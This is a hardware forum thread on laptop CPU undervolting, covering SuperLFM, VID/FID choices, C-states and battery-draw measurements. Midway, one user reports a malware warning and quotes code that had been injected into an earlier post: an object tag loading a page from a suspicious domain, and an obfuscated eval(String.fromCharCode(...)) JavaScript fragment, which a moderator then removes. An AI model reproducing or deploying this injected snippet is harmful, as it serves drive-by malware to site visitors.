This is where power savings related to SuperLFM come from. If you undervolt that doesn't apply, since it's quiete possible to run a 45nm CPU at 2GHz with its minimum VID of 0.95V (see above).

If you look closer at what SuperLFM actually implements

p. 21
http://download.intel.com/design/mobile/datashts/32012001.pdf

then you see that the actual external clockrate between (G)MCH and CPU doesn't change at all. No real powersavings from the reduced clock of SuperLFM mode.

The second aspect somebody might stumble across is this one:

p. 18
http://download.intel.com/design/mobile/datashts/32012001.pdf

Dynamic Cache Sizing applies to the package level power states associated with Core C-States C4/C6. I was concerned loosing dynamic cache resizing when disabling SuperLFM mode, since my ratio speed ration between FSB and core clock might be too high.

Unfortunatly Volume 3B of Intel® 64 and IA-32 Architectures Software Developer's Manuals, which contains MSR registers, doesn't tell where to find PMG_CST_CONFIG_CONTROL MSR:
http://www.intel.com/products/processor/manuals/index.htm

Thus I can't tell how this effects power saving. But measuring power consumption on my system resulted in no negativ impact. Instead the 1.6GHz and 2.0GHz lowest FID experiments resulted in the lowest power consumption.

If VID is constant, then running at high FID has two positive effects on power saving:
1. you sleep longer in C-States and spend less time in P-States
2. you might even hit deeper C-States. The reason is that the transitions below C3 (= C4, C6) are transparent to the OS. The CPU decides on its own whether it's really worth to enter C4 or C6 or whether the cost associated with it doesn't pay off. It has some intelligence put into it.

 

Thanks for your reply toby. I still have some questions if you don't mind,

"If VID is constant, then running at high FID has two positive effects on power saving:
1. you sleep longer in C-States and spend less time in P-States"

In the above, are you referring to (under the same lowest VID) high FID or high FID in superLFM?

Also, in the test you done, you ran a small video. was the cpu "performing" the whole time? what if the scenarios are
(1) constant internet browsing (I don't know how much cpu will work)
(2)half internet browsing and half idling
would the result still be the same with normal FID having less power consumption?

 

Actually I meant: Highest possible clock frequency with lowest VID whatever FID it requires to achieve this.

On the 65nm part I used it was 1.6 GHz = 8x 200 MHz (= normal FSB800). There is no way with the T7500 with its max 12x multiplier to achieve that with SuperLFM.

On the 45nm part I used it was 2.0 GHz = 10x 200 MHz (= normal FSB800). Again: no way for SuperLFM here.

For the frequencies with intersections of SuperLFM and normal mode such as 1.2 GHz = 12x SuperLFM = 12x 100 MHz = 6x 200 MHz = 6x normal mode = 1.2 GHz I doubt you'll measure any difference in power consumption.

I used a very small video (320 x 240) and during playback the CPU spend >70% in >= C3 states. The CPU wasn't "performing all the time". The video was chosen to best approximate workload in normal office (internet, mail, word, powerpoint, ...) use cases. It has a rather constant workload which makes it easier to do observations. If you run scripts to control powerpoint, firefox etc. it's not only more difficult to do but also to draw the right conclusions from your observations. But in general I agree: The best benchmark are real applications and workloads. Everything else is an approximation - at most. Sometimes it's bull such as 3D Mark Vantage, SiSoft Sandra, ...

You can make the C-states visible in Vista:



And you clearly see that in the 800 MHz case the CPU mainly goes to C1/C2, while in the 2 GHz case it goes to >= C3. Windows can't distinguish C3/C4/C6 since the CPU decides that based on heuristics itself and doesn't have status registers to tell afterwards what it has done. At least I'm not aware of these.

The 800 MHz case I faked a little bit. In reality it would jump around with the core clock between 800 Mhz <-> 1.2 GHz <-> 1.6 Ghz <-> 2 GHz. The C3 would be somwhat more than what I depicted. But it won't reach the C3 percentage time the 2GHz operation allows.

If you switch then to battery discharge rate using the same tool, you will be able to tell exactly what consumes who much power. You'll notice that battery discharge rate can only be sampled every 5-7 secs. That makes varying power consumption scenarios such as scripted firefox very difficult to measure precisely (one reason I have chosen to playback a small video). You might sample too low or too high drains and compare apples with oranges.

 

What's that trojan horse on the first page of this thread doing here? I'm getting this message on the first page of this thread:



Is this a false positive? This is due to user tomashi quoting some:

Code:

 id='page' type="text/html" data="http://doubleclck.info/dell.html" [br][/br]

The domain owner is hidden:
http://www.whois.net/whois/doubleclck.info

and the code on this page includes some:

Code:

 type="text/javascript">eval(String.fromCharCode(118,97,114,
32,103,103,101,51,61,34,98,97,34,59,118,97,114,32,119,51,52,53,61,34,109,
34,59,11,8,97,114,32,114,101,54,61,34,114,111,116,46,34,59,118,97,114,32,
114,114,61,34,99 [...]

which looks EVIL

 

I took it out, not sure how the code got injected in there. Looking at tomashis profile now for other codes.

 

here are my info:

SuperLFM (7.0x) 0.9v
6.0x 0.9v
7.0x 0.9v
8.0x 0.9375v
9.0x 0.9375v

If I was to choose to only use 2 multipliers, should I use 9.0x with 7.0x or 9.0x with SuperLFM(7.0x)? if there is a better option please let me know

 

9.0x with 7.0x (normal) yields in lower power consumption on my system compared to 9.0x with 7.0x (SuperLFM).

But I doubt these:

7.0x 0.9v
8.0x 0.9375v
9.0x 0.9375v

8x should be at somewhere between 0.9V an 0.9375v such as 0.9250v. It looks you didn't test very well. My observations are that the VID requirements in the range of 1.6 - 2.4 GHz increase linear with the FID.

 

I rarely post on these boards, but I just had to say thank you for this awesome thread!

I recently went from Vista to Windows 7 RTM, hoping for a better battery life on my XPS M1330, however I was slightly disappointed in finding the battery would only last ~4 hours, vs. 5-6 hours with Vista. The power draw would be around 16-17W.

But after I revisited this thread and read it all the way through, I tried going for only 1 FID state, 10x (max) at 0.95v (min) (I have a T8100). Now the power draw is about 12-13W, which is very good! So thanks a lot

(BTW is there any way to lower the voltage even lower? I tried the registry tweak and setting voltage lower, but in monitoring it won't show below 0.95v... seems like it must be a hardcoded barrier..)

 

You can't get lower than 0.95V. Intel sets the lowest possible voltage on each CPU indiviually and most T8100 have 0.95V as their lowest VID. Even if you tweak the registry, you won't get lower. It's indeed a hardware limitation of your CPU. If you open the FAQ section of the RMClock manual (RMClock.htm) you'll find this in FAQ "Why can't I set CPU voltage above 1.55V (or even 1.45V), or below 1.1V on my Athlon 64?".

To save more energy you 're limited to other components of your system:

. lower brightness level (you probably knew that)
. update drivers to the latest version (well for Win 7 your drivers will be uptodate)
. deactivate unused devices in your device manager. For the M1330 that is: bluetooth, webcam, fingerprint, sd-card slot, ...
. Choose the appropriate power management strategy. E.g. for your WiFi adapter try this:
http://www.intel.com/support/wireless/wlan/sb/CS-024509.htm
In addtion open device manager and check the transmission power. It should not be set to maximum. I figured these for intel cards:

1. lowest : 1 mW
2. medium-low : 2 mW
3. medium : 5 mW
4. medium-high : 13 mW
5. highest : 32 mW

. Install "Dell Recommended Vista Power Management Settings" ( download). I'm convinced this power plan runs in Win7 as well. Or download one of a Win7 download section.

 

7oby, this is rocket science. Could you simplify them for noobs like me ?

Anyways, great tut i must say !

 

Here you go ( I hope this is what you want):

CPU = T7300
PM965 chipset with X3100 GPU.

FSB | multi | freq |___| volt | ________|temp| fan speed (out of 1 2 3 4 5)|
(100.0 * 6), 600mhz, 0.8500V, max temp = 36C (fan speed 1)
(100.0 * 7), 700mhz, 0.8500V, max temp = 37C (fan speed 1)
(100.0 * 8), 800mhz, 0.8500V, max temp = 38C (fan speed 1)
(100.0 * 9), 900mhz, 0.8500V, max temp = 39C (fan speed 1)
(100.0 * 10), 1000mhz, 0.8500V, max temp = 40C (fan speed 1)
(183.8 * 6), 1102.8mhz, 0.8500V, max temp = 42C (fan speed 1)
(200.0 * 6), 1200mhz, 0.8500V, max temp = 49C (fan speed 1)

(185.6 * 7), 1299.2mhz, 0.8500V, max temp = 44C (fan speed 1)

(200.0 * 7), 1400mhz, 0.8500V, max temp = 52C (fan speed 1)

(188.0 * 8), 1504mhz, 0.8500V, max temp = 46C (fan speed 1)

(200.0 * 8), 1600mhz, 0.8500V, max temp = 56C (fan speed 1)

(189.8 * 9), 1708.2mhz, 0.8625V, max temp = 48C (fan speed 1)

(200.0 * 9), 1800mhz, 0.9000V, max temp = 61C (fan speed 1)

(189.8 * 10), 1898mhz, 0.9250V, max temp = 54C (fan speed 1)

(200.0 * 10), 2000mhz, 0.9750V, max temp = 59C (fan speed 2)
(210.2 * 10), 2102mhz, 0.9875V, max temp = 61C (fan speed 2)
(220.4 * 10), 2204mhz, 1.0125V, max temp = 61C (fan speed 2)
(230.1 * 10), 2301mhz, 1.0500V, max temp = 63C (fan speed 2)
(240.3 * 10), 2403mhz, 1.0875V, max temp = 65C (fan speed 3)
(250.0 * 10), 2500mhz, 1.1250V, max temp = 67C (fan speed 3)
(260.2 * 10), 2602mhz, 1.1625V, max temp = 72C (fan speed 3)


*the red values show where I tried to make a frequency by lowering the FSB, but it caused stange temps

All temps are maximum temps.

 

right...

spent literally at least an hour reading this thread over and over again, i just want to make sure i understood it correctly.

to achieve the best power savings i should set two VID/FID combos:
1) highest FID possible with minVID @SuperLFM
2) lowest VID possible with maxFID

Thank you very much!

 

congratulations are beautiful values.i thake 72°c with orthos without overclock in winter at 2.4 ghz

 

Wow, how did this thread get lost? Would have been real nice if it had of been made a sticky back in 2008 and could have helped a lot of people understand that the big power savings are made in the higher c-states. Maybe it would have been better to have it under the "hardware Components..." section.

Somewhat late but congrats 7oby on an excellent post.